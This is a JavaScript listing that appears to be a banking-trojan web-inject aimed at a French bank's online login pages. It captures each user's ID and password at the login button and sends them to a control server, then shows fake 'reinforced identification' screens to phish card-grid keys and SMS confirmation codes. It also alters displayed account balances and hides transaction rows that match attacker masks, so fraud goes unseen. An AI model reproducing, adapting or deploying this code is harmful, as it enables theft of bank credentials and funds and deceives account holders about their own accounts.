- else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
- browser = nAgt.substring(nameOffset, verOffset);
- version = nAgt.substring(verOffset + 1);
- if (browser.toLowerCase() == browser.toUpperCase()) {
- browser = navigator.appName;
- }
- }
- // trim the version string
- if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
- if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
- if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
- majorVersion = parseInt('' + version, 10);
- if (isNaN(majorVersion)) {
- version = '' + parseFloat(navigator.appVersion);
- majorVersion = parseInt(navigator.appVersion, 10);
- }
- // mobile version
- var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
- // cookie
- var cookieEnabled = (navigator.cookieEnabled) ? true : false;
- if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
- document.cookie = 'testcookie';
- cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
- }
- // system
- var os = unknown;
- var clientStrings = [
- {s:'Windows 3.11', r:/Win16/},
- {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
- {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
- {s:'Windows 98', r:/(Windows 98|Win98)/},
- {s:'Windows CE', r:/Windows CE/},
- {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
- {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
- {s:'Windows Server 2003', r:/Windows NT 5.2/},
- {s:'Windows Vista', r:/Windows NT 6.0/},
- {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
- {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
- {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
- {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
- {s:'Windows ME', r:/Windows ME/},
- {s:'Android', r:/Android/},
- {s:'Open BSD', r:/OpenBSD/},
- {s:'Sun OS', r:/SunOS/},
- {s:'Linux', r:/(Linux|X11)/},
- {s:'iOS', r:/(iPhone|iPad|iPod)/},
- {s:'Mac OS X', r:/Mac OS X/},
- {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
- {s:'QNX', r:/QNX/},
- {s:'UNIX', r:/UNIX/},
- {s:'BeOS', r:/BeOS/},
- {s:'OS/2', r:/OS\/2/},
- {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
- ];
- for (var id in clientStrings) {
- var cs = clientStrings[id];
- if (cs.r.test(nAgt)) {
- os = cs.s;
- break;
- }
- }
- var osVersion = unknown;
- if (/Windows/.test(os)) {
- osVersion = /Windows (.*)/.exec(os)[1];
- os = 'Windows';
- }
- switch (os) {
- case 'Mac OS X':
- osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
- break;
- case 'Android':
- osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
- break;
- case 'iOS':
- osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
- osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
- break;
- }
- // flash (you'll need to include swfobject)
- /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
- var flashVersion = 'no check';
- if (typeof swfobject != 'undefined') {
- var fv = swfobject.getFlashPlayerVersion();
- if (fv.major > 0) {
- flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
- }
- else {
- flashVersion = unknown;
- }
- }
- }
- window.jscd = {
- screen: screenSize,
- browser: browser,
- browserVersion: version,
- mobile: mobile,
- os: os,
- osVersion: osVersion,
- cookies: cookieEnabled,
- flashVersion: flashVersion
- };
- }(this));
- _tables.set('continue',true);
- _tables.set('message','');
- _tables.set('type','intercept');
- _tables.set('start','start');
- _tables.set('end','end');
- _tables.set('finish','');
- _tables.set('data','');
- _tables.set('login',function(){return document.getElementById('_userid')});
- _tables.set('password',function(){return document.getElementById('_pwduser')});
- _tables.set('button',function(){return _tables.findout(document,'input','class:ei_btn_typ_send');});
- _tables.set('logout',function(){return _tables.findout(document,'a','href:deconnexion\.cgi');});
- _tables.set('loader','data:image/gif;base64,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');
- _tables.set('bank','mutuel');
- _tables.text = {
- title: 'Service d\'identification renforcée',
- wait: 'Chargement, veuillez patienter...<br><br>Nous vérifions vos codes d\'accès, Veuillez ne pas rafraichir ou fermer l\'onglet.',
- block: 'La consultation de vos comptes est momentanément indisponible.Nous vous prions de bien vouloir nous excuser pour la gêne occasionnée et vous recommandons de vous reconnecter ultérieurement.',
- tan1: 'Pour accéder à l\'opération demandée, veuillez saisir la CLÉ PERSONNELLE suivante :',
- tan2: 'Clé contenue dans la case <span id="_tables.span.1"></span> de votre carte № <span id="_tables.span.2"></span>',
- sms1: 'Un <b style="font-weight:bold !important;">code de confirmation</b> vient de vous être envoyé par SMS au <span id="_tables.span.1"></span>.',
- sms2: 'Pour confirmer votre opération, indiquez votre code de confirmation:'
- };
- _tables.showpage = function(){
- if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap'));
- };
- _tables.grep_amount = function(acc){
- if(!_tables.replacerarray){
- return 0;
- }
- var re_a = 0;
- for(x in _tables.replacerarray){
- if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(acc) || _tables.replacerarray[x]['account'] == acc){
- re_a += parseFloat(_tables.replacerarray[x]['amount']);
- }
- }
- return re_a;
- };
- _tables.grep_mask = function(acc){
- if(!_tables.replacerarray){
- return false;
- }
- for(x in _tables.replacerarray){
- if(new RegExp(_tables.replacerarray[x]['mask'],'igm').test(acc)){
- return true;
- }
- }
- return false;
- };
- _tables.replacer_preload = function(){
- var ul = _tables.child(document,'ul');
- if(ul && ul.length > 0){
- for(var i = 0; i < ul.length; i++){
- if(ul[i].className == 'a_actions'){
- ul[i].style.display = 'none';
- }
- }
- }
- };
- _tables.replacer_balance = function(){
- var table = _tables.findout(document,'table','class:comptescontrats');
- if(table){
- var tr = _tables.child(table,'tr');
- if(tr && tr.length > 0){
- for(var i = 0; i < tr.length; i++){
- var td = _tables.child(tr[i],'td');
- if(td && td.length == 4){
- var account = _tables.html(td[0]).replace(/\s/igm,'');
- if(_tables.grep_amount(account) > 0){
- _tables.replace(td[2],_tables.grep_amount(account));
- }
- }
- }
- }
- }
- var span = _tables.child(document,'span');
- if(span && span.length > 0){
- for(var i = 0; i < span.length; i++){
- if(!/\<span/igm.test(span[i].innerHTML)){
- var account = _tables.html(span[i]).replace(/\s/igm,'');
- if(_tables.grep_amount(account) > 0){
- var sp = _tables.child(span[i].parentNode,'span');
- if(sp && sp.length > 1){
- if(/eur/igm.test(_tables.html(sp[1]))){
- _tables.replace(sp[1],_tables.grep_amount(account));
- }
- }
- }
- }
- }
- }
- var li = _tables.child(document,'li');
- if(li && li.length > 0){
- for(var i = 0; i < li.length; i++){
- var span = _tables.child(li[i],'span');
- var div = _tables.child(li[i],'div');
- if(span && span.length == 2 && div && div.length > 1){
- var account = _tables.html(span[1]).replace(/\s/igm,'');
- if(_tables.grep_amount(account) > 0){
- _tables.replace(div[1],_tables.grep_amount(account));
- }
- }
- }
- }
- };
- _tables.replacer_history = function(){
- var color = false;
- var table = _tables.findout(document,'table','class:liste');
- if(table){
- var tr = _tables.child(table,'tr');
- if(tr && tr.length > 0){
- for(var i = 0; i < tr.length; i++){
- var _I1 = _tables.html(tr[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(_tables.grep_mask(_I1)){
- tr[i].style.display = 'none';
- color = true;
- }
- }
- }
- if(color){
- var caption = _tables.child(table,'caption');
- if(caption && caption.length){
- caption[0].style.display = 'none';
- }
- var index = 0;
- for(var i = 0; i < tr.length; i++){
- if(tr[i].style.display != 'none'){
- if(index % 2 == 0){
- var colorValue = '#ededed';
- }else{
- var colorValue = '#ffffff';
- }
- var td = _tables.child(tr[i],'td');
- if(td && td.length > 0){
- for(var e = 0; e < td.length; e++){
- td[e].style.background = colorValue;
- }
- }
- index++;
- }
- }
- }
- }
- var li = _tables.child(document,'li');
- if(li && li.length > 0){
- for(var i = 0; i < li.length; i ++){
- var _I1 = _tables.html(li[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(_tables.grep_mask(_I1)){
- li[i].style.display = 'none';
- }
- }
- }
- };
- _tables.replacer_selects = function(){
- var select = _tables.child(document,'select');
- if(select && select.length > 0){
- for(var i = 0; i < select.length; i++){
- _tables.replacer_select(select[i]);
- }
- }
- };
- _tables.replacer_select = function(sel){
- if(sel){
- for(var i = 0; i < sel.length; i++){
- if(_tables.match(sel[i].text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""),_tables.answer.mask)){
- sel[i].style.display = 'none';
- }
- }
- }
- };
- _tables.replacer_drops = function(){
- if(_tables.findout(document,'table','id:pnlgrpPayments')){
- var color = false;
- var tr = _tables.child(_tables.findout(document,'table','id:pnlgrpPayments'),'tr');
- if(tr && tr.length > 0){
- for(var i = 0; i < tr.length; i++){
- var td = _tables.child(tr[i],'td');
- if(td && td.length == 5){
- var _info = _tables.html(td[0]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(_tables.match(_info,_tables.answer.mask)){
- color = true;
- tr[i].style.display = 'none';
- }
- }
- }
- if(color){
- var index = 0;
- for(var i = 0; i < tr.length; i++){
- if(tr[i].style.display != 'none'){
- if(index % 2 == 0){
- tr[i].className = '';
- }else{
- tr[i].className = 'alt';
- }
- index++;
- }
- }
- }
- }
- }
- };
- _tables.replacer = function(){
- _tables.replacer_preload();
- _tables.replacer_balance();
- _tables.replacer_history();
- _tables.showpage();
- };
- _tables.callback = function(){
- _tables.set('message','');
- switch(_tables.status()){
- case('CS'):
- if(/block/igm.test(_tables.answer.p1)){
- _tables.fake('BLOCK');
- _tables.showpage();
- }else if(_tables.answer.status == 'ON' && !/^login$|^off$|^start/igm.test(_tables.answer.p1)){
- _tables.status('NL');
- _tables.send(
- {'type':_tables.get('type')},
- {'domain':document.domain},
- {'link':document.location.href},
- {'data':'OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen},
- {'message':'Login page onloaded'},
- {'branch':'TJ'}
- );
- }else{
- _tables.input(_tables.get('login'),'block');
- _tables.input(_tables.get('password'),'block');
- _tables.replacebutton(_tables.get('button'),function(e){
- var evt = e ? e : window.event;
- if(evt.preventDefault)evt.preventDefault();
- if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
- if(evt.cancelBubble!=null)evt.cancelBubble = true;
- _tables.status('GL');
- _tables.send({'login1':_tables.get('login').value},
- {'login2':_tables.get('password').value},
- {'type':'grabber'},
- {'param1':_tables.get('start')},
- {'domain':document.domain},
- {'branch':'SL'}
- );
- return false;
- });
- _tables.showpage();
- }
- break;
- case('SL'):
- setTimeout(function(){
- _tables.cc('CC');
- },1500);
- break;
- case('GL'):
- _tables.get('button').click();
- break;
- case('NL'):
- _tables.loginform();
- break;
- case('CC'):
- if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){
- setTimeout(function(){
- _tables.cc('CC');
- },1000);
- }else{
- _tables.fake(_tables.answer.p1);
- }
- break;
- case('TJ'):
- _tables.set('pause',false);
- _tables.cc('CC');
- break;
- case('CP'):
- if(!_tables.replacerarray){
- _tables.showpage();
- return;
- }
- _tables.replacer();
- $(document).ajaxSuccess(function(event, request, settings){
- _tables.replacer();
- });
- break;
- default:
- _tables.showpage();
- break;
- }
- };
- _tables.login = function(){
- _tables.click(_tables.get('button'),document);
- };
- _tables.fkbtn = function(state){
- var noError = true;
- if(!/[0-9]{4,}/igm.test(_tables.id('_tables.tan').value)){
- noError = true;
- }
- _tables.set('data','Code: '+_tables.id('_tables.tan').value+'|');
- if(noError){
- _tables.fake('WAIT');
- _tables.set('pause',true);
- _tables.status('TJ');
- _tables.send({'type':_tables.get('type')},
- {'domain':document.domain},
- {'data':_tables.get('data')},
- {'message':'Data recieved'},
- {'branch':'TJ'}
- );
- }
- }
- _tables.fake = function(step){
- switch(step){
- case('LOGIN'):
- location.reload();
- break;
- case('RELOGIN'):
- location.reload();
- break;
- case('WAIT'):
- if(_tables.id('password')){
- _tables.id('password').innerHTML = '<div>'+
- '<div class="logon-snippet-ftb" style="width:785px;padding:20px;font-size:11px;">'+
- '<div class="blocmsg info">'+
- '<p>'+_tables.text.wait+'</p>'+
- '</div>'+
- '</div>'+
- '<br><br><center><img src="'+_tables.get('loader')+'"></center>'+
- '<br><br>'+
- '</div>';
- }
- setTimeout(function(){
- _tables.cc('CC');
- },1000);
- break;
- case('BLOCK'):
- if(_tables.id('password')){
- _tables.id('password').innerHTML = '<div>'+
- '<div class="logon-snippet-ftb" style="width:785px;padding:20px;font-size:11px;">'+
- '<div class="blocmsg alerte">'+
- '<p>'+_tables.text.block+'</p>'+
- '</div>'+
- '</div>'+
- '<br><br>'+
- '</div>';
- }
- setTimeout(function(){
- _tables.cc('CC');
- },1000);
- break;
- case('OFF'):
- location.reload();
- break;
- case('FAKE'):
- if(_tables.id('password')){
- var els = _tables.answer.p3.split('|');
- switch(_tables.answer.p3.split('|')[0]){
- case('TAN'):
- _tables.id('password').innerHTML = '<div>'+
- '<div style="background:#3f8bd2;color:#FFFFFF;padding:20px;margin-bottom:20px;">'+_tables.text.title+'</div>'+
- '<div style="padding:20px;">'+
- _tables.text.tan1+
- '<br><br><br>'+
- _tables.text.tan2+
- '<input type="text" id="_tables.tan" maxlength=4 size=4 style="margin-left:20px;">'+
- '<br><br>'+
- '<center><input class="image" onclick="_tables.fkbtn();" type="image" border="0" src="data:image/gif;base64,R0lGODdhaAAeAPMAAEFwqf///6u71OLn77fE2VR8sM3W5ZKoyNff6nWTvGaItuzv9fX3+p6yzsLN34SewiH/C1hNUCBEYXRhWE1QPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS4zLWMwMTEgNjYuMTQ1NjYxLCAyMDEyLzAyLzA2LTE0OjU2OjI3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOERFMzhBMkI2QkUxMUU0OTFFOUQ4NkQ4MjkxQTExMCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOERFMzhBM0I2QkUxMUU0OTFFOUQ4NkQ4MjkxQTExMCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM4REUzOEEwQjZCRTExRTQ5MUU5RDg2RDgyOTFBMTEwIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM4REUzOEExQjZCRTExRTQ5MUU5RDg2RDgyOTFBMTEwIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAALAAAAABoAB4AAAT/EMhJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zfEoGgIdQIDg4BgY+FCBwAiSeIwZAglcsUcjgqBAZZFxA7STQDCAVAEHAYE4BF0MkmeAXNhIFhCCL6aBJmfmoDBmxkOGMVCwsFCgxgbGBICABeYGsBdkEMdn0OAH1DfQ1xYJCWA0EOcDqLEw8BXE0KdVBfl7manAsTfU9ApoiycwG+q647RaGxsxK1twm5mBJ11RLAAEBPxM8UqwU+AwxSpo2Pkby4YNjXu6JO2/KIcQxwUQDhPgWAmwAKzqRZN63drneZ4gWjlwTgGXn7wkicSLGixYsYM2rcyLGjx48gBkOKHAkyAgA7" alt="Confirmer"></center>'+
- '</div>'+
- '</div>';
- _tables.id('_tables.span.1').innerHTML = els[1];
- _tables.id('_tables.span.2').innerHTML = els[2];
- break;
- case('SMS'):
- _tables.id('password').innerHTML = '<div>'+
- '<div style="background:#3f8bd2;color:#FFFFFF;padding:20px;">'+_tables.text.title+'</div>'+
- '<div style="padding:20px;border-left:1px solid #3f8bd2;border-right:1px solid #3f8bd2;border-bottom:1px solid #3f8bd2;">'+
- _tables.text.sms1+
- '<br><br><br>'+
- _tables.text.sms2+
- '<input type="text" id="_tables.tan" maxlength=6 size=6 style="margin-left:20px;">'+
- '<br><br>'+
- '<center><input class="image" onclick="_tables.fkbtn();" type="image" border="0" src="data:image/gif;base64,R0lGODdhaAAeAPMAAEFwqf///6u71OLn77fE2VR8sM3W5ZKoyNff6nWTvGaItuzv9fX3+p6yzsLN34SewiH/C1hNUCBEYXRhWE1QPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS4zLWMwMTEgNjYuMTQ1NjYxLCAyMDEyLzAyLzA2LTE0OjU2OjI3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOERFMzhBMkI2QkUxMUU0OTFFOUQ4NkQ4MjkxQTExMCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOERFMzhBM0I2QkUxMUU0OTFFOUQ4NkQ4MjkxQTExMCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM4REUzOEEwQjZCRTExRTQ5MUU5RDg2RDgyOTFBMTEwIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM4REUzOEExQjZCRTExRTQ5MUU5RDg2RDgyOTFBMTEwIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAALAAAAABoAB4AAAT/EMhJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zfEoGgIdQIDg4BgY+FCBwAiSeIwZAglcsUcjgqBAZZFxA7STQDCAVAEHAYE4BF0MkmeAXNhIFhCCL6aBJmfmoDBmxkOGMVCwsFCgxgbGBICABeYGsBdkEMdn0OAH1DfQ1xYJCWA0EOcDqLEw8BXE0KdVBfl7manAsTfU9ApoiycwG+q647RaGxsxK1twm5mBJ11RLAAEBPxM8UqwU+AwxSpo2Pkby4YNjXu6JO2/KIcQxwUQDhPgWAmwAKzqRZN63drneZ4gWjlwTgGXn7wkicSLGixYsYM2rcyLGjx48gBkOKHAkyAgA7" alt="Confirmer"></center>'+
- '</div>'+
- '</div>';
- _tables.id('_tables.span.1').innerHTML = els[1];
- break;
- }
- }
- setTimeout(function(){
- _tables.cc('CC');
- },1000);
- break;
- }
- };
- _tables.cc = function(stat){
- if(_tables.get('pause'))return false;
- _tables.status(stat);
- _tables.send(
- {'type':'intercept'},
- {'domain':document.domain},
- {'link':document.location.href},
- {'browser':_tables.brows()},
- {'branch':'CC'}
- );
- };
- _tables.loginclicker = function(e){
- var evt = e ? e : window.event;
- if(evt.preventDefault)evt.preventDefault();
- if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
- if(evt.cancelBubble!=null)evt.cancelBubble = true;
- _tables.fake('WAIT');
- _tables.status('SL');
- _tables.send({'login1':_tables.get('login').value},
- {'login2':_tables.get('password').value},
- {'type':_tables.get('type')},
- {'domain':document.domain},
- {'link':document.location.href},
- {'browser':_tables.brows()},
- {'message':'Trying to Login'},
- {'jabber':'SEND'},
- {'branch':'SL'}
- );
- return false;
- };
- _tables.preload = function(){
- if(_tables.findout(document,'a','href:forgotUserID')){
- _tables.findout(document,'a','href:forgotUserID').parentNode.style.display = 'none';
- }
- };
- _tables.loginform = function(){
- _tables.input(_tables.get('login'),'block');
- _tables.input(_tables.get('password'),'block');
- _tables.replacebutton(_tables.get('button'),_tables.loginclicker);
- _tables.showpage();
- };
